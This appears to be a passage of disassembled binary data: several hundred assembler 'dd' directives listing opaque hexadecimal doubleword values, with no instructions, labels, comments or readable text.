		dd 3089C728h, 2A3374h, 69676CE4h, 7C3E2A6Ah, 183F2E7Dh
		dd 0CE3A08E3h, 21143C22h, 248C25DCh, 98E2B0Dh, 2B4ACC2Eh
		dd 660302C9h, 0DFA63714h, 3908B930h, 0EA3A594Fh, 0DE1F2A4Eh
		dd 107D2227h, 24119821h, 1F91BD96h, 151C780Fh, 63BF323Eh
		dd 0B7603703h, 3E6FA802h
		dd 2936347Bh, 36861F6Dh, 2695F73Eh, 3527DCDCh, 0D6CBBAEh
		dd 0C5252B0Eh, 2230298Dh, 15103376h, 2D1C7BBDh,	0FA1CB87Ah
		dd 95DA041Ah, 0A210189Dh, 0DBDDC221h, 0C4BADDAh, 0D37E1A01h
		dd 79AF6238h, 0F31F65B1h, 2135B27Fh, 0D43B3AC6h, 97243F51h
		dd 3BDE4914h, 36DD733Eh, 0C7268504h, 1B660B29h,	0ABC61D29h
		dd 0B0CA7941h, 0B0E6FC36h, 8B1EADB5h, 3DBE3D3Ah, 0CFEAB2E9h
		dd 0FC1D934h, 0DCAED323h, 0D92BC1E6h, 0E6A62C8Eh, 132D1ACh
		dd 9225C7E1h, 3B2DBCBDh, 4B1D0039h, 1E07583Eh, 20547A4Dh
		dd 4AAC7328h, 8B28494Fh, 2C4F292Ah, 2031FE58h, 354E5A61h
		dd 0C83D641Ah, 0BD79293Bh, 261BF16Bh, 227B7074h, 25E72209h
		dd 6621A5F9h, 3529524Ch, 0E26D21ADh, 5D753AB2h,	31334547h
		dd 0BD46B83Bh, 9AB68F02h, 9C1F421Bh, 0EACA2027h, 69A247A5h
		dd 2B2C2816h, 0AFFEC52Dh, 0FDB91906h, 0C83035F3h, 0DDD23938h
		dd 0B4B4BD3Dh, 40153857h, 2F21A97Bh, 0E2A62023h, 2FB9EB37h
		dd 52E12C2Bh, 0C3BA662Fh, 233572B8h, 0DA693EF0h, 7763F53Ah
		dd 63281A7Eh, 6D1F1E5Fh, 77FE2922h, 8C292792h, 0CD2D2B53h
		dd 0A37B74ACh, 6336B367h, 98377605h, 8F383AA2h,	9BEE3D42h
		dd 22095FCDh, 0F3627F5Ch, 1525BE77h, 2C8AAB7Ah,	0E953AF43h
		dd 2D523463h, 389604F1h, 24365B46h, 91C1D7A9h, 0E9151E93h
		dd 0CAB621C2h, 8D27C1CAh, 0F52ACDCEh, 0CBF82DC8h, 33D3FF30h
		dd 0C84AB89Ch, 7FF9DA18h, 3FDC863Eh, 0ADF4C093h, 0CBE520FDh
		dd 0E25C488h, 4BC0609Fh, 3C564F39h, 86A5BDA2h, 4D3C34CDh
		dd 0DB3D3995h, 3E3DC33Dh, 1CFC5FD7h, 2D36DF3Bh,	0E63435A4h
		dd 0E1403479h, 1D06460Fh, 0BFBD3CAEh, 8CDC2132h, 39575735h
		dd 57285151h, 1C12552Dh, 6E751277h, 2549304Bh, 0E8314C21h
		dd 2F41020Eh, 512DC67Dh, 0F0B041D1h, 0D1DE6B71h, 54337A4Bh
		dd 8DA9367Fh, 0F9F1552h, 667D609Eh, 913C2EE4h, 292F2980h
		dd 2D2EB236h, 32A53871h, 0B5AE6F2Eh, 21357629h,	7B502EF5h
		dd 0DA487A17h, 23E57E1Eh, 6824E075h, 0BEF529E5h, 3A6C6AC2h
		dd 0CC2572CFh, 0DF07B601h, 0EB0A4505h, 240ED508h, 8B28630Bh
		dd 0C214B12Ah, 2F10DA16h, 541D0513h, 0DA19BE1Fh, 0F06201Bh
		dd 9502B804h, 0EA0E8900h, 700B230Ch, 942CBC09h,	3827132Ah
		dd 451B7719h, 0A41F561Dh, 0EE13B911h, 92E2E15h,	0F57EDA15h
		dd 985E6034h, 92D36873h, 773E5E7Ch, 9954DDADh, 0E2A56BE1h
		dd 47A8376Eh, 0EBA5A13Bh, 0C7E1A62Dh, 0D321206h, 76DD16F8h
		dd 6B19F03Ah, 1CF0507Ch, 0D71F5D27h, 20220B3Ch,	2D3F07E5h
		dd 9E329C4h, 9E2F4C2Dh,	96447FD0h, 0E7343E59h, 20D7D031h
		dd 26B5C3C5h, 8EDCA239h, 55C543Eh, 8FD076h, 58632DF4h
		dd 2C5D412Eh, 71275F28h, 0CCC33132h, 3C686574h,	0C554275Ah
		dd 0B86B049Fh, 0E49C454Ch, 0A9232335h, 684D7571h, 0A6D47F79h
		dd 6204AE3Fh, 0BEF4F2AAh, 0BE7274BBh, 9BCC7F70h, 5E7FDEBDh
		dd 4D0E4DDCh, 13123908h, 27ACAD3Ch, 0CB322D2Bh,	38CE2E2Ch
		dd 933D916Fh, 0D537556Bh, 1F321946h, 15565B7Eh,	4E1A7D07h
		dd 432837D0h, 0EDA7536h, 0CA6AC3F2h, 0E7A43C3h,	0F2337041h
		dd 34752413h, 6BA57827h, 6C3C56BBh, 1385FF8h, 30C4205Eh
		dd 3D384242h, 9634C778h, 29016D27h, 3C316EA4h, 3D75B828h
		dd 1D6C03BBh, 0BD78723Ah, 4E3A9F3Eh, 171FF777h,	2E027DE0h
		dd 1D0B4529h, 0F52B8DCDh, 0FE852E8Ah, 93F03296h, 38908E35h
		dd 963B9D94h, 8C3F999Fh, 0B8921DBBh, 2385A020h,	2784530Eh
		dd 40272830h, 0FF962D8Ch, 101613C9h, 38121AD7h,	343A3638h
		dd 0B83E323Ch, 1E121C14h, 0CBFD1321h, 6505A8EDh, 0DF11CA1Fh
		dd 63140A13h, 8F08B016h, 200F3B0Ah, 56035D0Dh, 9C07A701h
		dd 0F626FF05h, 4E1B7724h, 0AB1FA119h, 0FD13891Dh, 0DA17DB11h
		dd 210C2E15h, 0C08010Eh, 9F047B0Ah, 0EA00EB06h,	227C302h
		dd 7B225420h, 8C1E471Ch, 2AABAD24h, 73A70B0Dh, 54747373h
		dd 343E72B8h, 2CF3B731h, 0BCF93BF9h, 8B3E3E39h,	0D28D8Ch
		dd 233DDE20h, 2729252Bh, 2B252927h, 2F212D23h, 3CCD313Fh
		dd 38363A34h, 343A3638h, 303E323Ch, 0E11D131Bh,	222E2010h
		dd 249A2BA3h, 22C22B27h, 22B98E0Bh, 2A13C12Fh, 673D9043h
		dd 68B32027h, 2F217F5Bh, 0F49FD334h, 50202A5Eh,	83D576Bh
		dd 29282624h, 0F5DB7428h, 146EEF35h, 0CAECF932h, 1E7432C9h
		dd 2C3E7D3Ah, 0E3995D36h, 1FDD5208h, 25665A17h,	2967FFE5h
		dd 2C6BE22Ch, 41FC238Ch, 823E9231h, 983747EBh, 3C4AD334h
		dd 83CB07CDh, 8ACEEF1Fh, 429B0123h, 45266530h, 0F42A583Ch
		dd 2F5F394Dh, 33432551h, 476236A4h, 977C0C38h, 36EB2014h
		dd 8A951F8Ah, 2B212F1Fh, 4EDA4E23h, 692985C7h, 8F492D2Bh
		dd 3A61342Fh, 610BD57h,	6C09D4B3h, 347C3D6Ch, 77187133h
		dd 25307551h, 2A143748h, 0A22E4D06h, 0C57C3BDBh, 0BB917ACFh
		dd 37BF6512h, 7D0B67FEh, 0C0D43F3Ah, 959B3E6Dh,	700B1C1Dh
		dd 0D869234Bh, 0D7776C25h, 2CD3283Ch, 14A3A32Bh, 0F033318Dh
		dd 25356737h, 3CAF2FC6h, 1B1D3E2Fh, 1E740976h, 6C48234Ah
		dd 4D294F24h, 0A62C433Ah, 270A29B8h, 32582C30h,	37CDDD66h
		dd 0B8C5C605h, 0F7B515F8h, 0C5331CF9h, 0A9153A9Dh, 0CE75EA73h
		dd 0FA2D8E20h, 76A96D3Bh, 238445EFh, 765EC44Ch,	33683976h
		dd 0F2893BDBh, 0D4990B6Ch, 4B70186Ah, 0A60ECB23h, 0BE3B45h
		dd 2CDCDA48h, 106E2E9Eh, 0D61D8530h, 0C73A00BBh, 6D380807h
		dd 2E4C0D74h, 12F52CB3h, 17291122h, 1B6D1561h, 1A20194Ch
		dd 60F183Dh, 276040Ch, 0EF900ABh, 0AE20CEAh, 2C0708E3h
		dd 28592A23h, 149A166Eh, 10EF129Bh, 13521108h, 17EE1586h
		dd 0BCD09FEh, 0E680C3Ch, 15E00B9h, 39DEBB1Ch, 0BF0AFEE0h
		dd 242090BFh, 34C51883h, 0B92B3406h, 18EDBC29h,	826A6D70h
		dd 0BD736A32h, 38991097h, 3E30B55Fh, 3CE9DF96h,	2360DC89h
		dd 0A524C3EAh, 0FD2A8E25h, 2D33D49Bh, 312F2F31h, 352B332Dh
		dd 39273729h, 3C3C3AB2h, 2FE211FEh, 3272DEDDh, 852E22Dh
		dd 5F0CE635h, 0E22BA130h, 71A62FA4h, 3472BB35h,	3476BF3Dh
		dd 3E3DFD5Fh, 923E3E3Dh, 9478005Bh, 55BD2535h, 0D8740BA4h
		dd 2BF6053Dh, 29442C2Eh, 3158305Ah, 70BF53B4h, 0BA48111Ch
		dd 7E6F6E3Eh, 5714C21Ah, 0BE482B5Eh, 0AF0126E2h, 63C62F27h
		dd 94170FA9h, 5D4432AFh, 0A44536B2h, 413BB852h,	583FBD0Fh
		dd 390FDA22h, 23E1E61Fh, 2465AE0Eh, 0EBBDF531h,	3BEE523Ch
		dd 69316E29h, 1131F2CCh, 0FBA322B7h, 8F35793Bh,	1DD93E1Fh
		dd 23BF0337h, 2AC20EF7h, 95D27E7h, 3AEA2E22h, 9076294Eh
		dd 359B3729h, 0B636F42Dh, 9E3E3479h, 131A1FECh,	30DC1A1Ch
		dd 763C8061h, 66B2646h,	2C0C0B2Fh, 0DF208C01h, 0F032B1BBh
		dd 58365A46h, 273E394Ch, 0FB3E7968h, 1EBF4B1Ah,	0C3554551h
		dd 211490BCh, 0B6988911h, 4F4E093Bh, 725E5C43h,	45373450h
		dd 94184C52h, 4A4DAC54h, 0B3AF1D3Fh, 7FF01D1Eh,	564B4B22h
		dd 47514552h, 48419B4Bh, 31D02C2Eh, 36154822h, 0FFC907B3h
		dd 9D7AFA28h, 5D09FF3Ch, 61495A3Dh, 65E66B71h, 7B272722h
		dd 40474F41h, 0B64A5668h, 74C23252h, 7D7F6533h,	0FE71DF75h
		dd 4C3EDE3Ch, 1E4D5C4Fh, 6154805Fh, 6E27E70Ch, 0B5E4A47h
		dd 7C767A2Bh, 27DE63D8h, 75A792E0h, 6A9A8911h, 1F39D565h
		dd 0DEDA020Eh, 9D47491Eh
		dd 10434A0Ah, 8B4AFECFh, 197C8434h, 0A811C3C7h,	2754209Bh
		dd 0BCB43497h, 614962Ah, 9D0FB0D7h, 2134B646h, 6930E223h
		dd 0C1846302h, 0AD2BE39Fh, 0E3B017C6h, 0EA328830h, 6A383A30h
		dd 2BEC3E6Fh, 401EF69h,	0AB175896h, 0F2F6C21h, 2ADEE7EDh
		dd 23E46A12h, 332F80AEh, 956325E1h, 0C00C4D35h,	3C9B314Ah
		dd 0BB448F78h, 941CF6F4h, 1B22E1CFh, 0FF2625E5h, 282B2942h
		dd 7F7C25ACh, 0DBDAFFBBh, 36753B34h, 23263814h,	3EB2E4D4h
		dd 0D11F692Ah, 0A9315A1Fh, 78310077h, 0A939A127h, 22EF24EFh
		dd 3030CA2Fh, 27347822h, 32BB8237h, 5FAC7D29h, 969C71FDh
		dd 0DEDE8E85h, 7CB94320h, 0A7A832B0h, 4CBC4D28h, 0C4A1BB2Fh
		dd 0B57B25B0h, 5B0A4030h, 9CF2697Eh, 1C97723Eh,	62DD461Fh
		dd 7F414712h, 0B15EE41Bh, 6E5488AAh, 0F206D109h, 15A12800h
		dd 0AEB5F337h, 0DDA22D19h, 0F951D538h, 9E247F0Ah, 62983A7h
		dd 26E16D06h, 612B2DA9h, 932CEC6Eh, 0B051D72h, 0A2943175h
		dd 7AB71EFAh, 12BC45BAh, 1B9C0638h, 6322FE3Bh, 676BDD22h
		dd 631E9C23h, 16926FEAh, 0ED4B316Eh, 7F9031F2h,	86C922F5h
		dd 3996313Bh, 372A1F3Eh, 70241E9Eh, 0E4780563h,	2B7D6E27h
		dd 0B6CE4FF9h, 3B62BDC1h, 7C815EB0h, 5AD8E574h,	0DD673B6Bh
		dd 49FD3E2Fh, 720E916Fh, 0B716E67h, 5A7CD472h, 0A6CA8823h
		dd 0D02F8F64h, 471B3284h, 0D1363634h, 3C1B62FAh, 9EB1D73Fh
		dd 24975D1Ch, 575A20B1h, 1144137Fh, 441C4128h, 8F18591Ah
		dd 0B853106h, 0FF20D8Ah, 3A3A01DCh, 14071D05h, 1E242022h
		dd 1B8D19BFh, 1D0F1F02h, 79121827h, 0AA165110h,	9A63014h
		dd 0DD20FD3h, 0E8190429h, 0ED02F005h, 1DFC110Fh, 217C1D1Eh
		dd 0AE242C5Ah, 59A32B66h, 3DA78636h, 3AD92746h,	1743892h
		dd 0F9443533h, 6200533Ah, 1C7BC90Fh, 4812F54Bh,	44C3ECCEh
		dd 0D6BF4E25h, 0D37C24A3h, 0DEC7AECAh, 34CCCDCEh, 381896A0h
		dd 3A383A59h, 1A39153Bh, 1D1B181Ch, 546F7675h, 3F6F155h
		dd 21402DE9h, 0E6621BECh, 23473813h, 0ABDF5C93h, 0D3A3B3Ch
		dd 382E2D9Eh, 9E4F4D33h, 0FE0A41Dh, 55C7CC21h, 192A28A9h
		dd 0C12D17D4h, 32B5B420h, 3F905C30h, 0FF5D55F7h, 529480Eh
		dd 61BC92F8h, 6D655656h, 77626366h, 4C5E2747h, 44445844h
		dd 5576434Bh, 777118F0h, 39575E74h, 61BC5E2Dh, 40556870h
		dd 651F7B53h, 654A5565h, 732F2634h, 4C0B2961h, 58484763h
		dd 2B5A7045h, 5D71780Fh, 637B1E39h, 5A4F6D1Dh, 9E3F5D10h
		dd 0CB4B6E4Fh, 0AD2C85A0h, 7FF880A7h, 6326B9ABh, 0F73F1002h
		dd 5D365435h, 0D72FC63Eh, 0BF3F3FE7h, 0DE2F4244h, 0D325E244h
		dd 0CE174C51h, 992C2C87h, 2B2F21ABh, 27301A2Fh,	33240136h
		dd 0B03D89A0h, 3B4D07BCh, 50391BAFh, 13721F2Eh,	0F196E323h
		dd 4120771Ah, 2F90BB6Ah, 25D02Fh, 94458BA4h, 15FCB436h
		dd 9C33258h, 12D73F31h,	0DF1DB6D1h, 72232223h, 980352AEh
		dd 0D92FA121h, 605FE77Ch, 9E3AE265h, 44374675h,	6FB23A49h
		dd 1B303E32h, 1F111D13h, 232D212Fh, 2729252Bh, 242A26D7h
		dd 202E222Ch, 3C323E30h, 38363A34h, 3B35C638h, 3F313D33h
		dd 1E121C14h, 222E2010h, 29DA242Ch, 25292727h, 212D232Bh
		dd 3D313F2Fh, 0C9353B33h, 3A363838h, 0BA3FDC6Dh, 5DA77654h
		dd 0E54B9319h, 4EBB67A2h, 28934CBBh, 0C5E47321h, 0B008CFF0h
		dd 0FA16F059h, 0E1D083EEh, 7C8FEC1Eh, 0DA70BDA9h, 81C9C939h
		dd 4FA22000h, 99F00093h, 47AF2B09h, 2F0FEDDBh, 0F58959B0h
		dd 675CA93Fh, 24F5B1E4h, 2A5CD66Eh, 94169D13h, 65B2AAC8h
		dd 56747020h, 0BAA5033h, 0B622D2Dh, 1776B82Ch, 6024642Ch
		dd 40323829h, 0B4263F7Eh, 93150C55h, 20C09A1Bh,	0AB777573h
		dd 0BB662957h, 2A2AED29h, 32D1617Fh, 36D74331h,	0F632973Dh
		dd 3C85AEF7h, 4B1C11F3h, 29046B95h, 0DA172375h,	0AD27D1A3h
		dd 2E2C2B8Dh, 0F1B529A5h, 35A9B73Dh, 0C1BB3436h, 6B2E4EC5h
		dd 0CF5D73Eh, 0D894E1E0h, 20E722A2h, 2B53D9A0h,	0EF2B7476h
		dd 0CF7918A6h, 34EB1E24h, 32AF2DEh, 234E3D39h, 9E2C3A6Dh
		dd 9D8A5F1Bh, 5FCA7127h, 2F6FE487h, 0E83E2923h,	0AEE1409h
		dd 0CCCD41B5h, 22BDCA14h, 16FAE3BCh, 6D581DFEh,	1C5CBCDBh
		dd 1EE124DBh, 0C67A8762h, 0AB727579h, 28BFAEEFh, 31935D8Bh
		dd 1271BF62h, 0BF6F3077h, 0BFCCB7FBh, 191C1B48h, 6FAD116Ah
		dd 0E122E42Ah, 688C6B6h, 8D4EB2C2h, 210E2E0Bh, 0B90537F5h
		dd 2FB33517h, 397E3BB1h, 95E377B3h, 0DC7F2E51h,	7D7DE4AAh
		dd 1378892Ah, 274392D6h, 0A0093591h, 5351DA32h,	0B6BABDF5h
		dd 3C3F7A95h, 146F2EB1h, 0DE0C3BF4h, 20E65F23h,	31CE312Ah
		dd 0EF7A2AEAh, 29C6202Fh, 1131F3B5h, 0DF3A36F0h, 38FB28CEh
		dd 0FC3FC978h, 0F8F51718h, 73E723DDh, 0CE2F27E7h, 0B22AEAF1h
		dd 3A242FEFh, 36D8B3D3h, 32DD74B0h, 0AB0F20Ch, 21FE0FBBh
		dd 131C1E7Eh, 276704CAh, 0E5A100F5h, 1A2A275Bh,	2FCCEAEAh
		dd 9630C77Eh, 34343188h, 0BA3CF3B5h, 48FE2F2Dh,	2CF33B54h
		dd 28249C79h, 2557E2A4h, 39AC2E65h, 2E3B2CA0h, 2042393Ch
		dd 3D623920h, 7345885h,	13320830h, 10360A66h, 179E3A2Ah
		dd 24D0C60h, 0C6FCAA76h, 9AF92E19h, 0FA291D1Dh,	1E7630A0h
		dd 0C5956E6Fh, 3FEA8D25h, 1E261A1Eh, 0D677973Ch, 0A2394F5Bh
		dd 25A5452Bh, 0E6300F81h, 0B2A6FDD4h, 330740Fh,	0B3C30732h
		dd 44C1B3ECh, 379D080Bh, 7D0FCB9Eh, 9AB341Bh, 873C07AEh
		dd 515A7227h, 0A6307B36h, 3133DBAAh, 754943D2h,	69286567h
		dd 8C29C46Dh, 0EF207937h, 90D36211h, 792AF321h,	179F797Eh
		dd 22AA6CC0h, 3EAEDB35h, 0A262EBCFh, 0C6A3BB50h, 0BE200FF9h
		dd 9A6A4205h, 1D9C0D1Eh, 2620A044h, 8DDC27A3h, 0C428AFABh
		dd 0A8CA2FABh, 31B5E832h, 35B6FBE6h, 25385980h,	38202BBAh
		dd 0E409883Bh, 0A0BA2CDFh, 0A6DC702Ch, 0C60DAC2Fh, 0C62C257Bh
		dd 3230FB60h, 0ED290923h, 0C5693935h, 3A2DEBBDh, 4D501AFFh
		dd 207026F6h, 7524D083h, 0FBD032D9h, 279C2322h,	815AAB2Ah
		dd 340AB237h, 0B9383536h, 3DA7BF35h, 3C4DB43Dh,	0D0774C19h
		dd 71252214h, 1E126367h, 191B6F29h, 1D681Ah, 0C0B3277h
		dd 30377306h, 533B5858h, 2C535F4Eh, 1F59181Ch, 146D666Fh
		dd 50242509h, 59444028h, 2D2E4B5Fh, 5D41315Dh, 52585459h
		dd 49725C5Fh, 177E134Fh, 157D191Bh, 41440069h, 69054540h
		dd 44404449h, 612DCC1Ah, 50231063h, 53785463h, 5F4A4B3Fh
		dd 161D647Ah, 345C566Bh, 53555C42h, 73826350h, 2898B725h
		dd 4A436761h, 35304147h, 0A9157523h, 7D777416h,	5C1E3A1Ah
		dd 6F3E171Eh, 201F3034h, 20625E47h, 0E94C40ADh,	4AA1672Ah
		dd 0A02B6E77h, 7F704357h, 0D05B2206h, 743C7B0Ah, 1F1FB50Eh
		dd 756B2E5Eh, 361171B9h, 7211666h, 0CE197A69h, 69532DF7h
		dd 32B3E903h, 0B6FD0671h, 8D097C39h, 783FBC82h,	1FDCB228h
		dd 83B8C8E9h, 0A5F5093Ch, 16A90467h, 3E6AA601h,	323230ABh
		dd 96363488h, 3ADB92A3h, 4A3C0C7Ah, 1ACC7329h, 0E0F5415Eh
		dd 0EEAF2792h, 0D941CF76h, 272D7B28h, 0A032BBF8h, 0B13B31A5h
		dd 3AB837B2h, 2249CDBFh, 1ABB3156h, 4A3F1E1Dh, 89044ADEh
		dd 894330E5h, 7C2F2A29h, 300AA749h, 0D8B03235h,	0B61650Dh
		dd 0B57B6DE2h, 0F3331A61h, 0A081E29h, 7BBCE125h, 777230A4h
		dd 0EBC2E7A3h, 0D0D04A0Bh
		dd 7D329DD9h, 6F364954h, 1F76B469h, 322AD50Ch, 9EB819EAh
		dd 0C1AEAD13h, 1A29C536h, 0D8172DD3h, 0ABA8232Eh, 20264B24h
		dd 2B35D73Eh, 3B53D0BCh, 0E2AABCAh, 0A4C1955h, 4901A7Eh
		dd 0D8E07283h, 233FAECBh, 3CECFEC2h, 0FC32251Fh, 0EE073342h
		dd 0B46B6466h, 0D5D3744Ah, 8DD0BFAh, 0DDBDF636h, 29CB0F60h
		dd 0E73A892h, 0A0763F29h, 0AC6F6479h, 2DFA66A1h, 682EF771h
		dd 0F042D2FDh, 8DD71224h, 4A1C04DDh, 2166AD86h,	97E3DF22h
		dd 0CB817C26h, 5AC4000h, 2B5D71CDh, 3E577149h, 0FB341370h
		dd 0B66D317Bh, 970D9C5Dh, 60C92C68h, 266F77DBh,	0A1265CCAh
		dd 2D2DACA6h, 3E7FB94Fh, 364581BAh, 0C32DA627h,	0CB45B4Bh
		dd 11D319CEh, 212F1F11h, 0C5C1AE3Ah, 0EDCA39AAh, 0AA1C3C5Fh
		dd 0A4702F4Eh, 3C8301ACh, 59EE3E46h, 3ED7FA2Fh,	69BB1BDEh
		dd 2BCCE9E7h, 0FE2911FEh, 686B3565h, 7772E93Ah,	7B8E8F48h
		dd 32D2F32Bh, 781F2579h, 0F0A92A2Ah, 87EB131h, 15FEDC0Ah
		dd 67316D2Ah, 0D35B3664h, 6A8BD6C7h, 0CDEF3C3Fh, 13217D3Fh
		dd 0E6262674h, 365F3456h, 0D217B962h, 0CF964918h, 0A2763649h
		dd 0AC6B026Dh, 0ED4F2C96h, 63ED9D69h, 0C1375AA2h, 0CB78F67Eh
		dd 99A875F3h, 0BCFB6276h, 9FDA1E5Eh, 7CFE4FAFh,	252B506Dh
		dd 6C85960h, 1D653BBAh,	3037A136h, 0A2786245h, 6E443760h
		dd 64406346h, 601B6542h, 5C20623Ch, 24075E02h, 765B0359h
		dd 6570C55h, 4C07522Dh,	486C4E18h, 634B361Eh, 61475A45h
		dd 673F0E41h, 632C612Dh, 23165D13h, 115A1058h, 13561E54h
		dd 5317512Ch, 4F1C4D10h, 893919A0h, 6B4115A4h, 13A14A37h
		dd 32861914h, 2D227F59h, 5909BA20h, 0BD31D95Ch,	205DFE07h
		dd 207E1CB0h, 0ED712670h, 287F24F5h, 77562CBFh,	109C3A2Dh
		dd 3EFB0E02h, 0D1159927h, 189D1B16h, 9A28FB1Dh,	0B14D491Fh
		dd 5D652F16h, 2939372Fh, 6E3D3B38h, 0F423273Eh,	0DE141EACh
		dd 264B72DEh, 0A8A72425h, 0EF10FFD6h, 5E2A3959h, 330DE7Bh
		dd 0D300350Ah, 20AA3A6Eh, 3F0F3E7Ch, 33A8991h, 373B120h
		dd 4F757676h, 0D4092B18h, 2F0A2B39h, 0BAB7F3B3h, 7F78BC32h
		dd 792FB23Ch, 1F5CD539h, 58CB9513h, 2B31263Ch, 2A0F26BDh
		dd 1AE52DD8h, 0E4CD44F3h, 6AC16DDFh, 162C8557h,	3BB23867h
		dd 4BC2C4B8h, 4C244D24h, 63B2DEF6h, 271646E2h, 41E632D9h
		dd 263C293Bh, 7B730274h, 55367135h, 63BA472Dh, 7DFD544Eh
		dd 7A3B1300h, 62FE7274h, 0E4222301h, 51450663h,	5584F5Dh
		dd 72242E29h, 555D4734h, 3AD05A57h, 0B868FB3Ch,	79393E34h
		dd 0DF57DC1Fh, 2722213Ch, 64656125h, 6E627A08h,	2B620960h
		dd 0DB3B1932h, 6332B63Eh, 0D3323DBFh, 5D0CCB20h, 7A3E9D19h
		dd 0C0C9271Dh, 2A274766h, 0C22F2A40h, 0EA2F4FE5h, 373F563Eh
		dd 34748EDBh, 6B5D1C7Bh, 0D6393E3Fh, 611E1896h,	35231D1Ah
		dd 23A7BBCAh, 2B2EA18Ah, 9900BA7h, 71332F86h, 3DC76F18h
		dd 0F8BCBA9Dh, 576C6938h, 0EA1A373Eh, 4A1E1EC6h, 44F83909h
		dd 0CBA4274Fh, 6C29EB2Ch, 142B6203h, 0FC1E327Dh, 38733535h
		dd 0B55D3939h, 1BC71AA1h, 0FDF6911Fh, 2F230060h, 679630DBh
		dd 93C22958h, 23EF3404h, 3C3EFF2Ah, 92363A34h, 7A865319h
		dd 0D24351Ch, 0F03AC3Bh, 2B232056h, 0D549124Ah,	0C2451E7Dh
		dd 152D893Ah, 3294EDC6h, 5FE7DD57h, 2813897h, 0F0B738F9h
		dd 756D5D3Bh, 265158B5h, 2023BB27h, 29E4E386h, 25CC7B29h
		dd 0F1049F36h, 363733B2h, 5C083FDEh, 613C3BCAh,	603F63B6h
		dd 65300DF5h, 0D6302BF2h, 3E4D2F2Ch, 330622DBh,	3A702472h
		dd 3E6C386Eh, 1CBB3C6Bh, 6A1ADB09h, 32D76F10h, 212E14DEh
		dd 6B4028E1h, 0AC324BE4h, 0C37AE7B8h, 0C4257D24h, 0EB384020h
		dd 7759B55Ch, 0B530F93Ah, 35FF598Ch, 426FEE9Ah,	60C9143Bh
		dd 26A44689h, 75EFA30Bh, 4A767175h, 0D23CB92Bh,	0F41DF03Ch
		dd 3B47383Fh, 58F25A8Ah, 1D131B30h, 21261F11h, 64B1A621h
		dd 2A6D2025h, 0D42F6A99h, 9463EABFh, 70DF3073h,	79353835h
		dd 3E79E639h, 1F5A0294h, 4B1C5BD2h, 61E22160h, 69BE8C26h
		dd 2F6E992Ah, 952C6FEAh, 0C1793174h, 7DA03574h,	7C35193Ah
		dd 5E6AB73Eh, 1C5F4C1Fh, 0D216BE14h, 8132010h, 581C4D1Dh
		dd 1919091Ah, 4A0B5208h, 0E00FFB0Dh, 7F001801h,	0E504EE06h
		dd 5F27FC21h, 4E1D4524h, 92195E1Fh, 0D515D11Bh,	6102417h
		dd 0BF0C7B12h, 3D08FD0Eh, 0BF077B09h, 81038105h, 0F823CD00h
		dd 0AA8B4690h, 0ACB1647Bh, 0A3CC237Fh, 7A7A72E6h, 35D82344h
		dd 0C34BCD8h, 0B234134Ah, 0C2B93BCAh, 0E2903D4Bh, 775FF64Bh
		dd 0ADDCDCA8h, 3C2EA61Dh, 2945EA1Ah, 0F2A1A328h, 0F236F24Ah
		dd 0FA69AE6Ah, 29237931h, 0FB8087Ch, 0F73E6F5Dh, 39E2A2E7h
		dd 0FACE21ECh, 0DBA16168h, 6EE3C57Ah, 0B864A7B0h, 0F6ADDDECh
		dd 6A32313Bh, 3CFE80D4h, 974B0F90h, 0ABC930C7h,	20642063h
		dd 6A2D698Ch, 57C52824h, 643A38AEh, 32DD3CBAh, 6DB8BC28h
		dd 6EF2B727h, 0E0F4144Bh, 2C29EDACh, 26A7CDCAh,	0E9B83E67h
		dd 6AEC2A4Bh, 633879A3h, 35DC32BBh, 0C6C4CB94h,	0D5E4B06Dh
		dd 0DB07BCh, 0C8E7954Bh, 2622E011h, 0AB76E5CDh,	6AC03AEDh
		dd 80C77A7Ah, 0F4653D31h, 29359E3Dh, 0C4B03A31h, 1A3F345Fh
		dd 6FB4179Dh, 0E2BE2042h, 26614026h, 7E2B6B72h,	886128AEh
		dd 31957532h, 0D337770Dh, 153B786Dh, 981D393Bh,	1F5A0419h
		dd 26268512h, 0D1258321h, 0C6298EA9h, 0CF872C8Ch, 95E73088h
		dd 3692FF33h, 8F399AF7h, 2D6C3C2Bh, 0C1B907Bh, 20189C97h
		dd 0B40C22B3h, 437E26B7h, 58185706h, 19163F3Fh,	55388E22h
		dd 56B8F24Ah, 0FE9C6665h, 1ADCC0BBh, 82E0447Dh,	2F5732ACh
		dd 2C8719AEh, 0EA54A12Ch, 5056CF29h, 2475BF2Fh,	0B557AD04h
		dd 7F07C705h, 11028800h, 7C202722h, 1CFC1Eh, 0C419B81Bh
		dd 0AB2B2917h, 172F2D2Dh, 3123230h, 7A5055Eh, 0A2909E8h
		dd 0E9C0C6Ch, 2C102DD8h, 10A3124Dh, 15281680h, 1E801B60h
		dd 1ACC18E9h, 70804D0h,	180154h, 6B3AFC67h, 0D6B56C69h
		dd 519D497Eh, 20C89432h, 45752933h, 3908D76Bh, 0A459EBAFh
		dd 0DD316F5Bh, 0F7A022B3h, 782F372Eh, 0D467692Eh, 8033D32h
		dd 373D060Ch, 7C30C672h, 3BC5256Fh, 4434CB31h, 61794E22h
		dd 2033778Bh, 67673EB5h, 0BC6532B0h, 403B6EB4h,	5F46D99Dh
		dd 63E10B25h, 20654123h, 672D6960h, 27A7F972h, 39A23638h
		dd 3709F934h, 4193907h,	0BE3E0B3Ch, 0B49D0CF7h,	9639AB49h
		dd 27E53C07h, 0A72DF427h, 3E094CA7h, 7233302Eh,	37A5B02Eh
		dd 0B130B0DCh, 0B33D4D2Eh, 1E7C3B65h, 2C203F14h, 13F733Eh
		dd 497F7676h, 56C4797Ch, 1770E14h, 33BA467Ch, 3FC834F5h
		dd 28C359DAh, 1C8ECBF6h, 0D8941AE3h, 9A84354h, 28D7822Fh
		dd 462AE97Ah, 70D0792Ch, 1C3705C9h, 0F0863535h,	0C8D3271Eh
		dd 3B7FAD3Dh, 8F3E5948h, 31D1C93Eh, 24263E67h, 36E2322Ch
		dd 342D6AC4h, 26323030h, 3F02E71h, 2E392279h, 7D5A19A8h
		dd 285EDF00h, 0E53520BBh, 20651060h, 0C23633EFh, 35EEABA1h
		dd 353141C3h, 47CF3733h, 3A293037h, 6F413438h, 0B1F1B18h
		dd 2B206E3Fh, 54002022h, 0AD282C26h, 2D5D1929h,	71332F22h
		dd 38243343h, 48763436h, 3E3C353Ah, 1C6A637Ch, 4A1C1E12h
		dd 2C332250h, 595F2525h, 2F2B3B29h, 38C3ADADh, 40BAA231h
		dd 0D03F2611h, 45B9B66h
		dd 1FD73A73h, 1FFEBBF1h, 0AE250564h, 7714256Ah,	330E6DEFh
